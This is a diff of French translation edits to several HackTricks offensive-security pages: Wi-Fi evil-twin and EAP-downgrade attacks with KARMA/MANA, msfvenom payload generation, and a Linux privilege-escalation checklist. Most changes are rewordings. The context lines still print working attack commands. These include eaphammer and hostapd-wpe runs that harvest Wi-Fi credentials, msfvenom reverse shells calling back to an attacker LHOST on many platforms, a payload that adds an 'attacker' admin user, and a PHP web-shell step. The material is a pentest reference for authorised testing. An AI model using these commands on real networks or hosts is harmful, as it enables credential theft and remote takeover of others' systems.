Vous pouvez trouver plus d'informations sur ces méthodes d'authentification [ici](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) et [ici](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
|
||||
|
||||
|
@ -421,14 +419,14 @@ Le masquage d'identité est pris en charge à la fois par EAP-PEAP et EAP-TTLS.
|
|||
* EAP-Identity = anonyme
|
||||
* Dans ce scénario, tous les utilisateurs utilisent le pseudonyme "anonyme" comme identifiant utilisateur. Le serveur RADIUS initial fonctionne comme un serveur EAP-PEAP ou EAP-TTLS, responsable de la gestion du côté serveur du protocole PEAP ou TTLS. La méthode d'authentification interne (protégée) est ensuite soit gérée localement, soit déléguée à un serveur RADIUS distant (domicile).
|
||||
* EAP-Identity = anonyme@realm\_x
|
||||
* Dans cette situation, les utilisateurs de différents royaumes cachent leurs identités tout en indiquant leurs royaumes respectifs. Cela permet au serveur RADIUS initial de faire passer les demandes EAP-PEAP ou EAP-TTLS aux serveurs RADIUS dans leurs royaumes d'origine, qui agissent comme le serveur PEAP ou TTLS. Le serveur RADIUS initial fonctionne uniquement comme un nœud de relais RADIUS.
|
||||
* Alternativement, le serveur RADIUS initial peut fonctionner comme le serveur EAP-PEAP ou EAP-TTLS et soit gérer la méthode d'authentification protégée, soit la transférer à un autre serveur. Cette option facilite la configuration de politiques distinctes pour divers royaumes.
|
||||
* Dans cette situation, les utilisateurs de différents domaines cachent leur identité tout en indiquant leurs domaines respectifs. Cela permet au serveur RADIUS initial de faire le proxy des demandes EAP-PEAP ou EAP-TTLS vers les serveurs RADIUS dans leurs domaines d'origine, qui agissent comme le serveur PEAP ou TTLS. Le serveur RADIUS initial fonctionne uniquement comme un nœud de relais RADIUS.
|
||||
* Alternativement, le serveur RADIUS initial peut fonctionner comme le serveur EAP-PEAP ou EAP-TTLS et soit gérer la méthode d'authentification protégée, soit la transférer à un autre serveur. Cette option facilite la configuration de politiques distinctes pour divers domaines.
|
||||
|
||||
Dans EAP-PEAP, une fois le tunnel TLS établi entre le serveur PEAP et le client PEAP, le serveur PEAP initie une demande d'EAP-Identity et la transmet par le tunnel TLS. Le client répond à cette seconde demande d'EAP-Identity en envoyant une réponse d'EAP-Identity contenant la véritable identité de l'utilisateur à travers le tunnel crypté. Cette approche empêche efficacement la révélation de la véritable identité de l'utilisateur à quiconque espionnant le trafic 802.11.
|
||||
Dans EAP-PEAP, une fois le tunnel TLS établi entre le serveur PEAP et le client PEAP, le serveur PEAP initie une demande d'EAP-Identity et la transmet à travers le tunnel TLS. Le client répond à cette seconde demande d'EAP-Identity en envoyant une réponse d'EAP-Identity contenant la véritable identité de l'utilisateur à travers le tunnel crypté. Cette approche empêche efficacement la révélation de la véritable identité de l'utilisateur à quiconque espionnant le trafic 802.11.
|
||||
|
||||
EAP-TTLS suit une procédure légèrement différente. Avec EAP-TTLS, le client s'authentifie généralement en utilisant PAP ou CHAP, sécurisé par le tunnel TLS. Dans ce cas, le client inclut un attribut User-Name et soit un attribut Password soit un attribut CHAP-Password dans le message TLS initial envoyé après l'établissement du tunnel.
|
||||
|
||||
Quel que soit le protocole choisi, le serveur PEAP/TTLS obtient connaissance de la véritable identité de l'utilisateur après l'établissement du tunnel TLS. La véritable identité peut être représentée comme user@realm ou simplement user. Si le serveur PEAP/TTLS est également responsable de l'authentification de l'utilisateur, il possède maintenant l'identité de l'utilisateur et procède avec la méthode d'authentification protégée par le tunnel TLS. Alternativement, le serveur PEAP/TTLS peut transférer une nouvelle demande RADIUS au serveur RADIUS d'origine de l'utilisateur. Cette nouvelle demande RADIUS omet la couche de protocole PEAP ou TTLS. Dans les cas où la méthode d'authentification protégée est EAP, les messages EAP internes sont transmis au serveur RADIUS d'origine sans l'enveloppe EAP-PEAP ou EAP-TTLS. L'attribut User-Name du message RADIUS sortant contient la véritable identité de l'utilisateur, remplaçant le User-Name anonyme de la demande RADIUS entrante. Lorsque la méthode d'authentification protégée est PAP ou CHAP (prise en charge uniquement par TTLS), les attributs User-Name et autres attributs d'authentification extraits de la charge utile TLS sont substitués dans le message RADIUS sortant, remplaçant le User-Name anonyme et les attributs TTLS EAP-Message trouvés dans la demande RADIUS entrante.
|
||||
Quel que soit le protocole choisi, le serveur PEAP/TTLS obtient connaissance de la véritable identité de l'utilisateur après l'établissement du tunnel TLS. La véritable identité peut être représentée comme user@realm ou simplement user. Si le serveur PEAP/TTLS est également responsable de l'authentification de l'utilisateur, il possède maintenant l'identité de l'utilisateur et procède avec la méthode d'authentification protégée par le tunnel TLS. Alternativement, le serveur PEAP/TTLS peut transférer une nouvelle demande RADIUS au serveur RADIUS d'origine de l'utilisateur. Cette nouvelle demande RADIUS omet la couche de protocole PEAP ou TTLS. Dans les cas où la méthode d'authentification protégée est EAP, les messages EAP internes sont transmis au serveur RADIUS d'origine sans l'enveloppe EAP-PEAP ou EAP-TTLS. L'attribut User-Name du message RADIUS sortant contient la véritable identité de l'utilisateur, remplaçant le User-Name anonyme de la demande RADIUS entrante. Lorsque la méthode d'authentification protégée est PAP ou CHAP (prise en charge uniquement par TTLS), l'attribut User-Name et d'autres attributs d'authentification extraits de la charge utile TLS sont substitués dans le message RADIUS sortant, remplaçant le User-Name anonyme et les attributs TTLS EAP-Message trouvés dans la demande RADIUS entrante.
|
||||
|
||||
Pour plus d'infos, consultez [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
|
||||
|
||||
|
@ -465,9 +463,9 @@ Vous pouvez également effectuer cette attaque en utilisant `eaphammer` :
|
|||
* Lors de l'analyse passive, les stations écoutent les trames de balise. Si l'ESSID d'une balise correspond à une entrée dans la PNL de la station, la station peut se connecter automatiquement à cet AP.
|
||||
* La connaissance de la PNL d'un appareil permet une exploitation potentielle en imitant l'ESSID d'un réseau connu, trompant l'appareil pour qu'il se connecte à un AP malveillant.
|
||||
|
||||
### Analyse active
|
||||
### Sonde active
|
||||
|
||||
* L'analyse active implique que les stations envoient des requêtes de sonde pour découvrir les AP à proximité et leurs caractéristiques.
|
||||
* La sonde active implique que les stations envoient des requêtes de sonde pour découvrir les AP à proximité et leurs caractéristiques.
|
||||
* Les requêtes de sonde dirigées ciblent un ESSID spécifique, aidant à détecter si un réseau particulier est à portée, même s'il s'agit d'un réseau caché.
|
||||
* Les requêtes de sonde diffusées ont un champ SSID nul et sont envoyées à tous les AP à proximité, permettant à la station de vérifier tout réseau préféré sans divulguer le contenu de sa PNL.
|
||||
|
||||
|
@ -493,7 +491,7 @@ log-queries
|
|||
log-dhcp
|
||||
listen-address=127.0.0.1
|
||||
```
|
||||
Puis **définissez les IP** et **les routes** :
|
||||
Ensuite, **définissez les IP** et **les routes** :
|
||||
```bash
|
||||
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
|
||||
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
|
||||
|
@ -563,7 +561,7 @@ _Certains systèmes d'exploitation et antivirus avertiront l'utilisateur que se
|
|||
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
Vous pouvez créer un **Evil Twin utilisant WPA/2** et si les appareils sont configurés pour se connecter à ce SSID avec WPA/2, ils vont essayer de se connecter. Quoi qu'il en soit, **pour compléter le 4-way-handshake**, vous devez également **connaître** le **mot de passe** que le client va utiliser. Si vous **ne le connaissez pas**, la **connexion ne sera pas complétée**.
|
||||
Vous pouvez créer un **Evil Twin utilisant WPA/2** et si les appareils sont configurés pour se connecter à ce SSID avec WPA/2, ils vont essayer de se connecter. Quoi qu'il en soit, **pour compléter le 4-way-handshake**, vous devez également **connaître** le **mot de passe** que le client va utiliser. Si vous **ne le savez pas**, la **connexion ne sera pas complétée**.
|
||||
```bash
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
|
@ -580,9 +578,9 @@ hostapd-wpe ./victim/victim.conf -s
|
|||
```
|
||||
Dans le fichier de configuration, vous pouvez sélectionner de nombreuses choses différentes comme ssid, canal, fichiers utilisateur, cret/key, paramètres dh, version wpa et auth...
|
||||
|
||||
[**Utilisation de hostapd-wpe avec EAP-TLS pour permettre à n'importe quel certificat de se connecter.**](evil-twin-eap-tls.md)
|
||||
[**Utiliser hostapd-wpe avec EAP-TLS pour permettre à n'importe quel certificat de se connecter.**](evil-twin-eap-tls.md)
|
||||
|
||||
**Utilisation de EAPHammer**
|
||||
**Utiliser EAPHammer**
|
||||
```bash
|
||||
# Generate Certificates
|
||||
./eaphammer --cert-wizard
|
||||
|
@ -590,7 +588,7 @@ Dans le fichier de configuration, vous pouvez sélectionner de nombreuses choses
|
|||
# Launch Attack
|
||||
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
||||
```
|
||||
Par défaut, EAPHammer propose ces méthodes d'authentification (remarquez GTC comme la première à essayer d'obtenir des mots de passe en clair, puis l'utilisation de méthodes d'authentification plus robustes) :
|
||||
Par défaut, EAPHammer propose ces méthodes d'authentification (remarquez GTC comme la première à essayer d'obtenir des mots de passe en clair, puis l'utilisation de méthodes d'auth plus robustes) :
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
|
@ -600,7 +598,7 @@ C'est la méthodologie par défaut pour éviter de longs temps de connexion. Cep
|
|||
```
|
||||
Ou vous pourriez également utiliser :
|
||||
|
||||
* `--negotiate gtc-downgrade` pour utiliser une implémentation de downgrade GTC très efficace (mots de passe en clair)
|
||||
* `--negotiate gtc-downgrade` pour utiliser une implémentation de downgrade GTC très efficace (mots de passe en texte clair)
|
||||
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` pour spécifier manuellement les méthodes proposées (offrir les mêmes méthodes d'authentification dans le même ordre que l'organisation rendra l'attaque beaucoup plus difficile à détecter).
|
||||
* [Trouvez plus d'infos dans le wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
|
||||
|
@ -622,7 +620,7 @@ Maintenant, démarrez le **Evil Twin** en utilisant **`hostapd-wpe`** avec cette
|
|||
|
||||
Maintenant ou plus tard (lorsque vous avez déjà capturé quelques tentatives d'authentification), vous pouvez ajouter la clé RSA privée à wireshark dans : `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
|
||||
Ajoutez une nouvelle entrée et remplissez le formulaire avec ces valeurs : **Adresse IP = any** -- **Port = 0** -- **Protocole = data** -- **Fichier clé** (**sélectionnez votre fichier clé**, pour éviter les problèmes, sélectionnez un fichier clé **sans protection par mot de passe**).
|
||||
Ajoutez une nouvelle entrée et remplissez le formulaire avec ces valeurs : **Adresse IP = any** -- **Port = 0** -- **Protocole = data** -- **Fichier de clé** (**sélectionnez votre fichier de clé**, pour éviter les problèmes, sélectionnez un fichier de clé **sans protection par mot de passe**).
|
||||
|
||||
![](<../../.gitbook/assets/image (687).png>)
|
||||
|
||||
|
@ -632,7 +630,7 @@ Et regardez le nouvel **onglet "TLS déchiffré"** :
|
|||
|
||||
## KARMA, MANA, Loud MANA et attaque de balises connues
|
||||
|
||||
### ESSID et listes noires/blanches MAC
|
||||
### Listes noires/blanches ESSID et MAC
|
||||
|
||||
Différents types de listes de filtres d'accès aux médias (MFACLs) et leurs modes et effets correspondants sur le comportement d'un point d'accès (AP) malveillant :
|
||||
|
||||
|
@ -665,19 +663,19 @@ name3
|
|||
```
|
||||
### KARMA
|
||||
|
||||
Cette méthode permet à un **attaquant de créer un point d'accès malveillant (AP) qui répond à toutes les requêtes de sonde** des appareils cherchant à se connecter à des réseaux. Cette technique **trompe les appareils en les faisant se connecter à l'AP de l'attaquant** en imitant les réseaux que les appareils recherchent. Une fois qu'un appareil envoie une demande de connexion à cet AP malveillant, il complète la connexion, conduisant l'appareil à se connecter par erreur au réseau de l'attaquant.
|
||||
Cette méthode permet à un **attaquant de créer un point d'accès malveillant (AP) qui répond à toutes les requêtes de sonde** des appareils cherchant à se connecter à des réseaux. Cette technique **trompe les appareils en les incitant à se connecter à l'AP de l'attaquant** en imitant les réseaux que les appareils recherchent. Une fois qu'un appareil envoie une demande de connexion à cet AP malveillant, il complète la connexion, conduisant l'appareil à se connecter par erreur au réseau de l'attaquant.
|
||||
|
||||
### MANA
|
||||
|
||||
Ensuite, **les appareils ont commencé à ignorer les réponses réseau non sollicitées**, réduisant l'efficacité de l'attaque karma originale. Cependant, une nouvelle méthode, connue sous le nom d'**attaque MANA**, a été introduite par Ian de Villiers et Dominic White. Cette méthode implique que l'AP malveillant **capture les listes de réseaux préférés (PNL) des appareils en répondant à leurs requêtes de sonde diffusées** avec des noms de réseaux (SSID) précédemment sollicités par les appareils. Cette attaque sophistiquée contourne les protections contre l'attaque karma originale en exploitant la façon dont les appareils se souviennent et priorisent les réseaux connus.
|
||||
|
||||
L'attaque MANA fonctionne en surveillant à la fois les requêtes de sonde dirigées et diffusées des appareils. Pour les requêtes dirigées, elle enregistre l'adresse MAC de l'appareil et le nom du réseau demandé, ajoutant ces informations à une liste. Lorsqu'une requête diffusée est reçue, l'AP répond avec des informations correspondant à l'un des réseaux sur la liste de l'appareil, incitant l'appareil à se connecter à l'AP malveillant.
|
||||
L'attaque MANA fonctionne en surveillant à la fois les requêtes de sonde dirigées et diffusées des appareils. Pour les requêtes dirigées, elle enregistre l'adresse MAC de l'appareil et le nom du réseau demandé, ajoutant ces informations à une liste. Lorsqu'une requête diffusée est reçue, l'AP répond avec des informations correspondant à l'un des réseaux de la liste de l'appareil, incitant l'appareil à se connecter à l'AP malveillant.
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Loud MANA
|
||||
|
||||
Une **attaque Loud MANA** est une stratégie avancée pour les cas où les appareils n'utilisent pas de sondage dirigé ou lorsque leurs listes de réseaux préférés (PNL) sont inconnues de l'attaquant. Elle fonctionne sur le principe que **les appareils dans la même zone sont susceptibles de partager certains noms de réseau dans leurs PNL**. Au lieu de répondre de manière sélective, cette attaque diffuse des réponses de sondage pour chaque nom de réseau (ESSID) trouvé dans les PNL combinées de tous les appareils observés. Cette approche large augmente la chance qu'un appareil reconnaisse un réseau familier et tente de se connecter au point d'accès (AP) malveillant.
|
||||
Une **attaque Loud MANA** est une stratégie avancée pour les cas où les appareils n'utilisent pas de sondage dirigé ou lorsque leurs listes de réseaux préférés (PNL) sont inconnues de l'attaquant. Elle fonctionne sur le principe que **les appareils dans la même zone sont susceptibles de partager certains noms de réseau dans leurs PNL**. Au lieu de répondre de manière sélective, cette attaque diffuse des réponses de sonde pour chaque nom de réseau (ESSID) trouvé dans les PNL combinées de tous les appareils observés. Cette approche large augmente la chance qu'un appareil reconnaisse un réseau familier et tente de se connecter au point d'accès (AP) malveillant.
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
|
@ -691,7 +689,7 @@ Eaphammer a implémenté cette attaque comme une attaque MANA où tous les ESSID
|
|||
```
|
||||
**Attaque de Beacon Burst connue**
|
||||
|
||||
L'**attaque de Beacon Burst connue** implique **la diffusion rapide de trames de beacon pour chaque ESSID répertorié dans un fichier**. Cela crée un environnement dense de réseaux fictifs, augmentant considérablement la probabilité que les appareils se connectent au point d'accès malveillant, surtout lorsqu'elle est combinée avec une attaque MANA. Cette technique exploite la vitesse et le volume pour submerger les mécanismes de sélection de réseau des appareils.
|
||||
L'**attaque de Beacon Burst connue** implique **la diffusion rapide de trames de beacon pour chaque ESSID répertorié dans un fichier**. Cela crée un environnement dense de réseaux fictifs, augmentant considérablement la probabilité que des appareils se connectent au point d'accès malveillant, surtout lorsqu'elle est combinée avec une attaque MANA. Cette technique exploite la vitesse et le volume pour submerger les mécanismes de sélection de réseau des appareils.
|
||||
```bash
|
||||
# transmit a burst of 5 forged beacon packets for each entry in list
|
||||
./forge-beacons -i wlan1 \
|
||||
|
@ -702,7 +700,7 @@ L'**attaque de Beacon Burst connue** implique **la diffusion rapide de trames de
|
|||
```
|
||||
## Wi-Fi Direct
|
||||
|
||||
**Wi-Fi Direct** est un protocole permettant aux appareils de se connecter directement entre eux via Wi-Fi sans avoir besoin d'un point d'accès sans fil traditionnel. Cette capacité est intégrée dans divers appareils de l'Internet des objets (IoT), tels que les imprimantes et les téléviseurs, facilitant la communication directe entre appareils. Une caractéristique notable de Wi-Fi Direct est qu'un appareil assume le rôle d'un point d'accès, connu sous le nom de propriétaire de groupe, pour gérer la connexion.
|
||||
**Wi-Fi Direct** est un protocole permettant aux appareils de se connecter directement les uns aux autres via Wi-Fi sans avoir besoin d'un point d'accès sans fil traditionnel. Cette capacité est intégrée dans divers appareils de l'Internet des objets (IoT), tels que les imprimantes et les téléviseurs, facilitant la communication directe entre appareils. Une caractéristique notable de Wi-Fi Direct est qu'un appareil assume le rôle d'un point d'accès, connu sous le nom de propriétaire de groupe, pour gérer la connexion.
|
||||
|
||||
La sécurité des connexions Wi-Fi Direct est établie par **Wi-Fi Protected Setup (WPS)**, qui prend en charge plusieurs méthodes de couplage sécurisé, y compris :
|
||||
|
||||
|
@ -710,7 +708,7 @@ La sécurité des connexions Wi-Fi Direct est établie par **Wi-Fi Protected Set
|
|||
* **Saisie de PIN**
|
||||
* **Near-Field Communication (NFC)**
|
||||
|
||||
Ces méthodes, en particulier la saisie de PIN, sont susceptibles des mêmes vulnérabilités que le WPS dans les réseaux Wi-Fi traditionnels, les rendant cibles de vecteurs d'attaque similaires.
|
||||
Ces méthodes, en particulier la saisie de PIN, sont susceptibles des mêmes vulnérabilités que WPS dans les réseaux Wi-Fi traditionnels, les rendant cibles de vecteurs d'attaque similaires.
|
||||
|
||||
### EvilDirect Hijacking
|
||||
|
||||
|
@ -731,7 +729,7 @@ Ces méthodes, en particulier la saisie de PIN, sont susceptibles des mêmes vul
|
|||
|
||||
TODO: Jetez un œil à [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (connexion avec Facebook et imitation de WPA dans des portails captifs)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -755,7 +753,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -83,7 +83,9 @@ msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
|
|||
```bash
|
||||
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
|
||||
```
|
||||
### **Exécuter une commande**
|
||||
{% endcode %}
|
||||
|
||||
### **Exécuter la commande**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -131,7 +133,7 @@ msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTAC
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## **Charge utiles MAC**
|
||||
## **Charge utile MAC**
|
||||
|
||||
### **Shell inversé :**
|
||||
|
||||
|
@ -164,7 +166,7 @@ cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> s
|
|||
|
||||
### ASP/x
|
||||
|
||||
#### Shell inversée
|
||||
#### Reverse shell
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -197,7 +199,7 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f w
|
|||
```bash
|
||||
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
|
||||
```
|
||||
## **Chargements utiles en langage de script**
|
||||
## **Chargements de langage de script**
|
||||
|
||||
### **Perl**
|
||||
|
||||
|
@ -221,7 +223,7 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Liste de contrôle - Élévation de privilèges Linux
|
||||
# Liste de contrôle - Escalade de privilèges Linux
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -8,14 +8,14 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -26,20 +26,20 @@ Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
|||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des nouveaux programmes de bug bounty lancés et des mises à jour cruciales de la plateforme
|
||||
Restez informé des nouveaux programmes de bug bounty lancés et des mises à jour cruciales des plateformes
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui !
|
||||
|
||||
### **Meilleur outil pour rechercher des vecteurs d'élévation de privilèges locaux Linux :** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
### **Meilleur outil pour rechercher des vecteurs d'escalade de privilèges locaux Linux :** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
### [Informations système](privilege-escalation/#system-information)
|
||||
|
||||
* [ ] Obtenez des **informations sur le système d'exploitation**
|
||||
* [ ] Vérifiez le [**PATH**](privilege-escalation/#path), un **dossier modifiable** ?
|
||||
* [ ] Vérifiez le [**PATH**](privilege-escalation/#path), un **dossier écrivable** ?
|
||||
* [ ] Vérifiez les [**variables d'environnement**](privilege-escalation/#env-info), des détails sensibles ?
|
||||
* [ ] Recherchez des [**exploits de noyau**](privilege-escalation/#kernel-exploits) **en utilisant des scripts** (DirtyCow ?)
|
||||
* [ ] **Vérifiez** si la [**version de sudo** est vulnérable](privilege-escalation/#sudo-version)
|
||||
* [ ] [**Dmesg** échec de la vérification de signature](privilege-escalation/#dmesg-signature-verification-failed)
|
||||
* [ ] [**La vérification de signature Dmesg a échoué**](privilege-escalation/#dmesg-signature-verification-failed)
|
||||
* [ ] Plus d'énumération système ([date, statistiques système, informations CPU, imprimantes](privilege-escalation/#more-system-enumeration))
|
||||
* [ ] [**Énumérer plus de défenses**](privilege-escalation/#enumerate-possible-defenses)
|
||||
|
||||
|
@ -61,7 +61,7 @@ Restez informé des nouveaux programmes de bug bounty lancés et des mises à jo
|
|||
* [ ] Recherchez des **exploits de processus en cours d'exécution** (en particulier la version en cours d'exécution).
|
||||
* [ ] Pouvez-vous **modifier le binaire** de tout processus en cours d'exécution ?
|
||||
* [ ] **Surveillez les processus** et vérifiez si un processus intéressant s'exécute fréquemment.
|
||||
* [ ] Pouvez-vous **lire** la **mémoire d'un processus** intéressant (où des mots de passe pourraient être sauvegardés) ?
|
||||
* [ ] Pouvez-vous **lire** la **mémoire d'un processus** intéressant (où des mots de passe pourraient être enregistrés) ?
|
||||
|
||||
### [Tâches planifiées/Cron ?](privilege-escalation/#scheduled-jobs)
|
||||
|
||||
|
@ -72,17 +72,17 @@ Restez informé des nouveaux programmes de bug bounty lancés et des mises à jo
|
|||
|
||||
### [Services](privilege-escalation/#services)
|
||||
|
||||
* [ ] Un fichier **.service** **modifiable** ?
|
||||
* [ ] Un **binaire modifiable** exécuté par un **service** ?
|
||||
* [ ] Un **dossier modifiable dans le PATH systemd** ?
|
||||
* [ ] Un fichier **.service** **écrivable** ?
|
||||
* [ ] Un **binaire écrivable** exécuté par un **service** ?
|
||||
* [ ] Un **dossier écrivable dans le PATH systemd** ?
|
||||
|
||||
### [Timers](privilege-escalation/#timers)
|
||||
|
||||
* [ ] Un **timer modifiable** ?
|
||||
* [ ] Un **timer écrivable** ?
|
||||
|
||||
### [Sockets](privilege-escalation/#sockets)
|
||||
|
||||
* [ ] Un fichier **.socket** **modifiable** ?
|
||||
* [ ] Un fichier **.socket** **écrivable** ?
|
||||
* [ ] Pouvez-vous **communiquer avec un socket** ?
|
||||
* [ ] **Sockets HTTP** avec des informations intéressantes ?
|
||||
|
||||
|
@ -93,7 +93,7 @@ Restez informé des nouveaux programmes de bug bounty lancés et des mises à jo
|
|||
### [Réseau](privilege-escalation/#network)
|
||||
|
||||
* [ ] Énumérez le réseau pour savoir où vous êtes
|
||||
* [ ] **Ports ouverts auxquels vous n'avez pas pu accéder avant** d'obtenir un shell à l'intérieur de la machine ?
|
||||
* [ ] **Ports ouverts auxquels vous ne pouviez pas accéder avant** d'obtenir un shell à l'intérieur de la machine ?
|
||||
* [ ] Pouvez-vous **sniffer le trafic** en utilisant `tcpdump` ?
|
||||
|
||||
### [Utilisateurs](privilege-escalation/#users)
|
||||
|
@ -105,7 +105,7 @@ Restez informé des nouveaux programmes de bug bounty lancés et des mises à jo
|
|||
* [ ] Politique de mot de passe ?
|
||||
* [ ] Essayez d'**utiliser** chaque **mot de passe connu** que vous avez découvert précédemment pour vous connecter **avec chaque** utilisateur possible. Essayez également de vous connecter sans mot de passe.
|
||||
|
||||
### [PATH modifiable](privilege-escalation/#writable-path-abuses)
|
||||
### [PATH écrivable](privilege-escalation/#writable-path-abuses)
|
||||
|
||||
* [ ] Si vous avez **des privilèges d'écriture sur un dossier dans le PATH**, vous pourriez être en mesure d'escalader les privilèges
|
||||
|
||||
|
@ -117,7 +117,7 @@ Restez informé des nouveaux programmes de bug bounty lancés et des mises à jo
|
|||
* [ ] [**Binaire Sudo/SUID sans path indiqué**](privilege-escalation/#sudo-command-suid-binary-without-command-path) ?
|
||||
* [ ] [**Binaire SUID spécifiant le path**](privilege-escalation/#suid-binary-with-command-path) ? Contourner
|
||||
* [ ] [**Vulnérabilité LD\_PRELOAD**](privilege-escalation/#ld\_preload)
|
||||
* [ ] [**Absence de bibliothèque .so dans le binaire SUID**](privilege-escalation/#suid-binary-so-injection) d'un dossier modifiable ?
|
||||
* [ ] [**Absence de bibliothèque .so dans le binaire SUID**](privilege-escalation/#suid-binary-so-injection) d'un dossier écrivable ?
|
||||
